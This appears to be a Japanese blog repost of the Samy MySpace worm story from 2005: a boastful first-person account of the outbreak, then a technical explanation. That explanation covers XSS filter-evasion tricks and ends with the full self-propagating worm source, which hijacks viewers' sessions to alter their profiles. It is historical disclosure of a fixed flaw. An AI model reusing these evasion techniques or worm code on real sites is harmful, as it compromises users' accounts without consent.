初のAjaxワームといわれたsamyのページ。
おれって有名、というタイトル、samyがヒーローTシャツ、と浮かれている。
I'm Popular
I'll never get caught. I'm Popular., 10/04/05, -samy
(technical explanation and actual code here)
クロスサイトスクリプティングでMySpace内を大増殖した。
以下、経緯とコードの詳細説明。
タグや引用符がブロックされてしまうため、eval関数の利用、エンコーディング、キーワードの分割、などを使ってスクリプトをすり抜けさせた手口が詳しく説明されている。
例えば、eval('xmlhttp.onread' + 'ystatechange = callback')
--------------------------------------------------------------------------------
Press:
'samy is my hero' T-Shirts (I didn't make these)
more 'samy is my hero' t-shirts (didn't make these, either)
Slashdot | Cross-Site Scripting Worm Floods MySpace
Google Blogoscoped | Samy, Their Hero (interview)
BetaNews | Cross-Site Scripting Worm Hits MySpace (interview)
The Guardian | Ajax prepares for battle on the dark side
ZDNet | Samy opens new front in worm war
digg.com | Geek goes popular on Myspace
DownloadSquad | Top 10 Web Moments of 2005
WebProNews | When In Hacker Doubt, Have A Burrito
News.com | Samy opens new front in worm war
ZDNet Au | Web sites threatened by Samy worm
The Register | Web 2.0 worm downs MySpace
ComputerWorld | Teen uses worm to boost ratings on MySpace.com
WebProNews | The Web 2.0 MySpace Friend-Generating Worm
OuterCourt | How to Make 1 Million Friends on MySpace
RealTechNews | Hacker Makes Himself the Most Popular Person On MySpace
TechSpot | Teenager uses a Worm to promote a Site
The Age | Murdoch's MySpace knocked off the web
PC World | Teen Uses Worm to Promote Site
E-Scribe News | The MySpace Worm
LiveJournal | samy is my hero
Sophos | JS.Spacehero Worm Definition
Update 11/02/05: Today I learned that the same time my account got removed, so did "embed"s from people's profiles. That means no more music and movies playing when you view people's profiles.
New: Oh, and all the groups started by others and relating to this story have been deleted.
Update 11/01/05: My new account has been deleted/removed somehow. Oh well.
Update 10/19/05: No word from MySpace. But, a new profile has risen...and I promise there's no worm in it.
http://www.myspace.com/33934660
--------------------------------------------------------------------------------
A few months back, I decided to make a permanent myspace account so that I could easily view pictures of random, hot girls whenever I please without creating a new account each time. I also had a number of friends on there and figured I would see what all the hype was about. Myspace is a site for keeping up with friends, meeting new people, and even getting laid (sorry ladies, I'm taken.) It allows you to set up a profile/web page with a limited ability to make it look and feel how you wanted. Too limiting. I couldn't even fit a good line into my "headline" without taking words out and sounding like G.W.B. trying to respond to an arbitrary question. Hell, I couldn't even fit more than 12 glamour shots on my photos page. Like an illegal alien with a plan, I ventured to evade these limiting borders.
I began to examine the site some more, seeing how they restrict things, what they restrict, taking some breaks to look at profiles of really hot girls, trying to add them as friends and getting rejected, and getting back to making my profile cool so that they would add me as a friend later. Chicks dig cool profiles. After a little bit of messing around, I found that I could put in a longer headline than what they allowed. Hell, I could even get around their other restrictions and get HTML in there in order to add cool "effects" to my page that other people can't add. Yeah, that will get me chicks. Girls want guys who have computer hacking skills.
Let's see here...what would make my profile rock. Well, the most popular profiles on myspace pretty much consist of people with the IQ and English delivery skills of Kanye West so I don't want to mimic those, but popularity begets popularity. I need some more friends. I need people to love me. I delved into the bug and found that I could basically control the web browsing of anyone who hit my profile. In fact, I was able to develop something that caused anyone who viewed my profile to add my name to their profile's list of heroes. It's villainous. I was ecstatic.
But it wasn't enough. I needed more. So I went deeper. A Chipotle burrito bol and a few clicks later, anyone who viewed my profile who wasn't already on my friends list would inadvertently add me as a friend. Without their permission. I had conquered myspace. Veni, vidi, vici.
But it wasn't enough.
If I can become their friend...if I can become their hero...then why can't their friends become my friend...my hero. I can propagate the program to their profile, can't I. If someone views my profile and gets this program added to their profile, that means anyone who views THEIR profile also adds me as a friend and hero, and then anyone who hits THOSE people's profiles add me as a friend and hero... So if 5 people viewed my profile, that's 5 new friends. If 5 people viewed each of their profiles, that's 25 more new friends. And after that, well, that's when things get difficult. The math, I mean.
Some people would call this a worm. I call it popularity. Regardless, I don't care about popularity, but it can't hurt, right?
以下、時間を追っての記録
10/04, 12:34 pm: You have 73 friends.
I decided to release my little popularity program. I'm going to be famous...among my friends.
1 hour later, 1:30 am: You have 73 friends and 1 friend request.
One of my friends' girlfriend looks at my profile. She's obviously checking me out. I approve her inadvertent friend request and go to bed grinning.
7 hours later, 8:35 am: You have 74 friends and 221 friend requests.
Woah. I did not expect this much. I'm surprised it even worked.. 200 people have been infected in 8 hours. That means I'll have 600 new friends added every day. Woah.
1 hour later, 9:30 am: You have 74 friends and 480 friend requests.
Oh wait, it's exponential, isn't it. Shit.
1 hour later, 10:30 am: You have 518 friends and 561 friend requests.
Oh crap. I'm getting messages from people pissed off that I'm their friend when they didn't add me. I'm also getting emails saying "Hey, how the hell did you get onto my myspace....not that I mind, you're hot". From guys. But more girls than guys. This actually isn't so bad. The girls part.
3 hours later, 1:30 pm: You have 2,503 friends and 6,373 friend requests.
I'm canceling my account. This has gotten out of control. People are messaging me saying they've reported me for "hacking" them due to my name being in their "heroes" list. Man, I rock. Back to my worries. People are also emailing me telling me their IM names so that I'll chat with them. Cool. Back to my worries. Apparently people are getting pissed because they delete me from their friends list, view someone else's page or even their own and get re-infected immediately with me. I rule. I hope no one sues me.
I haven't been worried about anything in years, but today I was actually afraid of the unknown. Afraid of myspace? No, afraid of FOX's legal department. If you're not aware already, myspace was purchased by FOX only a few weeks back for 580 million dollars. Not online myspace dollars, but actual cash that can buy strippers. With all that money, Tom from myspace could basically do 2 chicks at once, 580 times. Or he could have FOX come after me. I don't want FOX after me.
I spend the rest of the day working, trying to get the ideas of what could happen out of my head. I have my girlfriend visit me for lunch to say our goodbyes. I'm going to the big house. I could hear it then, "mr samy, you are hereby sentenced to an $800,000 fine and 3 years in jail for getting way too many friends on myspace and causing psychological damage to girls who thought they were your friends until you cancelled your account."
5 hours later, 6:20 pm: I timidly go to my profile to view the friend requests. 2,503 friends. 917,084 friend requests.
I refresh three seconds later. 918,268. I refresh three seconds later. 919,664 (screenshot below). A few minutes later, I refresh. 1,005,831.
It's official. I'm popular.
I have hit 1,000,000+ users. In less than 20 hours, I've hit over 1/35th of all myspace users. Every request is from a unique, living, and logged in user. I refresh once more and now see nothing but a message that my profile is down for maintenance. I messed up, didn't I. I'm now more afraid and decide I am never doing anything even near illegal ever again. To get my mind off of everything, I begin downloading a copy of the latest Nip/Tuck episode.
1 hour later, 7:05 pm: A friend tells me that they can't see their profile. Or anyone else's profile. Or any bulletin boards. Or any groups. Or their friends requests. Or their friends. Nothing on myspace works. Messages are everywhere stating that myspace is down for maintenance and that the entire myspace crew is there working on it. I ponder whether I should drive over to their office and apologize. Another attempt to free my mind of worry, I go back to watching some episodes of The OC which I downloaded a few days earlier. File sharing rocks.
2.5 hours later, 9:30 pm: I'm told that everything on myspace seems to be working again. My girlfriend's profile, along with many, many others, still say "samy is my hero", however the actual self-propagating program is gone. I'm relieved that it's back up as they can't claim damages for any downtime past this second if everything is in fact working properly.
10 minutes later, 9:40 pm: I haven't heard from anyone at myspace or FOX. A few minutes later, my girlfriend calls, I pick up, and she says to me, "you're my hero". I don't actually get it until about three hours later.
Postmortem:
I'm still waiting for myspace or FOX to contact me. I'm sorry myspace and FOX. I love you guys, all the great things myspace provides, and all the great shows FOX has, my favorite being Nip/Tuck.
Oh wait, Nip/Tuck is FX? My bad, but FOX, I'm sure you still have some good stuff. But maybe you should start picking up Nip/Tuck reruns? Just a thought. I'm kidding! Please don't sue me.
--------------------------------------------------------------------------------
以下、コード解説
http://namb.la/popular/tech.html
Technical explanation of the MySpace worm
Also called the "Samy worm" or "JS.Spacehero worm"
Back to story
Please note that this code and explanation was only released AFTER MySpace resolved this.
None of this would work on MySpace at the time it was released and it will not work now. Otherwise, there would have been mayhem.
Now, let's talk more about the problems encountered, workarounds, and how it worked in general.
1) Myspace blocks a lot of tags. In fact, they only seem to allow <a>, <img>s, and <div>s...maybe a few others (<embed>'s, I think). They wouldn't allow <script>s, <body>s, onClicks, onAnythings, href's with javascript, etc...However, some browsers (IE, some versions of Safari, others) allow javascript within CSS tags. We needed javascript to get any of this to even work.
Example: <div style="background:url('javascript:alert(1)')">
2) We couldn't use quotes within the div because we had already used up single quotes and double quotes already. This made coding JS very difficult. In order to get around it, we used an expression to store the JS and then executed it by name.
Example: <div id="mycode" expr="alert('hah!')" style="background:url('javascript:eval(document.all.mycode.expr)')">
3) Sweet! Now we can do javascript with single quotes. However, myspace strips out the word "javascript" from ANYWHERE. To get around this, some browsers will actually interpret "java\nscript" as "javascript" (that's java<NEWLINE>script).
Example: <div id="mycode" expr="alert('hah!')" style="background:url('java
script:eval(document.all.mycode.expr)')">
4) Okay, while we do have single quotes working, we sometimes NEED double quotes. We'll just escape quotes, e.g., "foo\"bar". Myspace got me...they STRIP OUT all escaped quotes, whether single or double. However, we can just convert decimal to ASCII in javascript to actually produce the quotes.
Example: <div id="mycode" expr="alert('double quote: ' + String.fromCharCode(34))" style="background:url('java
script:eval(document.all.mycode.expr)')">
5) In order to post the code to the user's profile who is viewing it, we need to actually get the source of the page. Ah, we can use document.body.innerHTML in order to get the page source which includes, in only one spot, the ID of the user viewing the page. Myspace gets me again and strips out the word "innerHTML" anywhere. To avoid this, we use an eval() to evaluate two strings and put them together to form "innerHTML".
Example: alert(eval('document.body.inne' + 'rHTML'));
6) Time to actually access other pages. We would use iframes, but usually (even when hidden), iframes aren't as useful and are more obvious to the user that "something else" is going on. So, we use XML-HTTP in order for the actual client to make HTTP GETs and POSTs to pages. However, myspace strips out the word "onreadystatechange" which is necessary for XML-HTTP requests. Again, we can use an eval to evade this. Another plus to XML-HTTP is that the necessary cookies required to perform actions on myspace are passed along without any hassle.
Example: eval('xmlhttp.onread' + 'ystatechange = callback');
7) Time to perform a GET on the user's profile so that we can get their current list of heroes. We don't want to remove any heroes, we just want to append myself to their pre-existing list of heroes. If we GET their profile, we can grab their heroes and store it for later. With all the above figured out, this is simple with an XML-HTTP request except that we have to get the friend ID of the actual user viewing a profile. Like we said above, we can do this by grabbing the source of the page we're on. However, now we need to perform a search in the page for a specific word to find it. So we perform this search, however if we do this, we may end up finding our actual code since it contains the same exact word we're looking for...because saying "if this page contains 'foo', do this", that will always return true because it can always find foo within the actual code that does the searching. Another eval() with a combination of strings avoids this problem.
Example: var index = html.indexOf('frien' + 'dID');
8) At this point, we have the list of heroes. First, let's add me as a friend by performing an XML-HTTP POST on the addFriends page. Oh no, this doesn't work! Why not? We're on profile.myspace.com, however the POSTing needs to be done on www.myspace.com. No big deal, however XML-HTTP won't allow GETs/POSTs to sites with a different domain name. To get around this, let's actually go to the same URL but on www.myspace.com. You can still view profiles from www.myspace.com, so reloading the page on the domain we want to be on allows us to do the POST.
Example: if (location.hostname == 'profile.myspace.com') document.location = 'http://www.myspace.com' + location.pathname + location.search;
9) Finally we can do a POST! However, when we send the post it never actually adds a friend. Why not? Myspace generates a random hash on a pre-POST page (for example, the "Are you sure you want to add this user as a friend" page). If this hash is not passed along with the POST, the POST is not successful. To get around this, we mimic a browser and send a GET to the page right before adding the user, parse the source for the hash, then perform the POST while passing the hash.
10) Once the POST is complete, we also want to add a hero and the actual code. The code will end up going into the same place where the hero goes so we'll only need one POST for this. However, we need to pre-GET a page in order to get a new hash. But first we have to actually reproduce the code that we want to POST. The easiest way to do this is to actually grab the source of the profile we're on, parse out the code, and then POST. This works except now all sorts of things are garbled! Ah, we need to URL-encode/escape the actual code in order to POST it properly. Weird, still doesn't work. Apparently javascript's URL-encoding and escape() function doesn't escape everything necessary so we'll need to manually do some replacing here in order to get the necessary data escaped. We add a little "but most of all, samy is my hero." to the mix, append all the code right after, and voila. We have self-reproducing code, a worm if you will.
11) Other limits, such as a maximum length, imposed other problems and required tight code, no spaces, obfuscated names, reusable functions, etc..
There were a few other complications and things to get around. This was not by any means a straight forward process, and none of this was meant to cause any damage or piss anyone off. This was in the interest of..interest. It was interesting and fun!
And in the end, there was code:
<div id=mycode style="BACKGROUND: url('java
script:eval(document.all.mycode.expr)')" expr="var B=String.fromCharCode(34);var A=String.fromCharCode(39);function g(){var C;try{var D=document.body.createTextRange();C=D.htmlText}catch(e){}if(C){return C}else{return eval('document.body.inne'+'rHTML')}}function getData(AU){M=getFromURL(AU,'friendID');L=getFromURL(AU,'Mytoken')}function getQueryParams(){var E=document.location.search;var F=E.substring(1,E.length).split('&');var AS=new Array();for(var O=0;O<F.length;O++){var I=F[O].split('=');AS[I[0]]=I[1]}return AS}var J;var AS=getQueryParams();var L=AS['Mytoken'];var M=AS['friendID'];if(location.hostname=='profile.myspace.com'){document.location='http://www.myspace.com'+location.pathname+location.search}else{if(!M){getData(g())}main()}function getClientFID(){return findIn(g(),'up_launchIC( '+A,A)}function nothing(){}function paramsToString(AV){var N=new String();var O=0;for(var P in AV){if(O>0){N+='&'}var Q=escape(AV[P]);while(Q.indexOf('+')!=-1){Q=Q.replace('+','%2B')}while(Q.indexOf('&')!=-1){Q=Q.replace('&','%26')}N+=P+'='+Q;O++}return N}function httpSend(BH,BI,BJ,BK){if(!J){return false}eval('J.onr'+'eadystatechange=BI');J.open(BJ,BH,true);if(BJ=='POST'){J.setRequestHeader('Content-Type','application/x-www-form-urlencoded');J.setRequestHeader('Content-Length',BK.length)}J.send(BK);return true}function findIn(BF,BB,BC){var R=BF.indexOf(BB)+BB.length;var S=BF.substring(R,R+1024);return S.substring(0,S.indexOf(BC))}function getHiddenParameter(BF,BG){return findIn(BF,'name='+B+BG+B+' value='+B,B)}function getFromURL(BF,BG){var T;if(BG=='Mytoken'){T=B}else{T='&'}var U=BG+'=';var V=BF.indexOf(U)+U.length;var W=BF.substring(V,V+1024);var X=W.indexOf(T);var Y=W.substring(0,X);return Y}function getXMLObj(){var Z=false;if(window.XMLHttpRequest){try{Z=new XMLHttpRequest()}catch(e){Z=false}}else if(window.ActiveXObject){try{Z=new ActiveXObject('Msxml2.XMLHTTP')}catch(e){try{Z=new ActiveXObject('Microsoft.XMLHTTP')}catch(e){Z=false}}}return Z}var AA=g();var AB=AA.indexOf('m'+'ycode');var AC=AA.substring(AB,AB+4096);var AD=AC.indexOf('D'+'IV');var AE=AC.substring(0,AD);var AF;if(AE){AE=AE.replace('jav'+'a',A+'jav'+'a');AE=AE.replace('exp'+'r)','exp'+'r)'+A);AF=' but most of all, samy is my hero. <d'+'iv id='+AE+'D'+'IV>'}var AG;function getHome(){if(J.readyState!=4){return}var AU=J.responseText;AG=findIn(AU,'P'+'rofileHeroes','</td>');AG=AG.substring(61,AG.length);if(AG.indexOf('samy')==-1){if(AF){AG+=AF;var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['interestLabel']='heroes';AS['submit']='Preview';AS['interest']=AG;J=getXMLObj();httpSend('/index.cfm?fuseaction=profile.previewInterests&Mytoken='+AR,postHero,'POST',paramsToString(AS))}}}function postHero(){if(J.readyState!=4){return}var AU=J.responseText;var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['interestLabel']='heroes';AS['submit']='Submit';AS['interest']=AG;AS['hash']=getHiddenParameter(AU,'hash');httpSend('/index.cfm?fuseaction=profile.processInterests&Mytoken='+AR,nothing,'POST',paramsToString(AS))}function main(){var AN=getClientFID();var BH='/index.cfm?fuseaction=user.viewProfile&friendID='+AN+'&Mytoken='+L;J=getXMLObj();httpSend(BH,getHome,'GET');xmlhttp2=getXMLObj();httpSend2('/index.cfm?fuseaction=invite.addfriend_verify&friendID=11851658&Mytoken='+L,processxForm,'GET')}function processxForm(){if(xmlhttp2.readyState!=4){return}var AU=xmlhttp2.responseText;var AQ=getHiddenParameter(AU,'hashcode');var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['hashcode']=AQ;AS['friendID']='11851658';AS['submit']='Add to Friends';httpSend2('/index.cfm?fuseaction=invite.addFriendsProcess&Mytoken='+AR,nothing,'POST',paramsToString(AS))}function httpSend2(BH,BI,BJ,BK){if(!xmlhttp2){return false}eval('xmlhttp2.onr'+'eadystatechange=BI');xmlhttp2.open(BJ,BH,true);if(BJ=='POST'){xmlhttp2.setRequestHeader('Content-Type','application/x-www-form-urlencoded');xmlhttp2.setRequestHeader('Content-Length',BK.length)}xmlhttp2.send(BK);return true}"></DIV>
-samy
Back to story

Leave a comment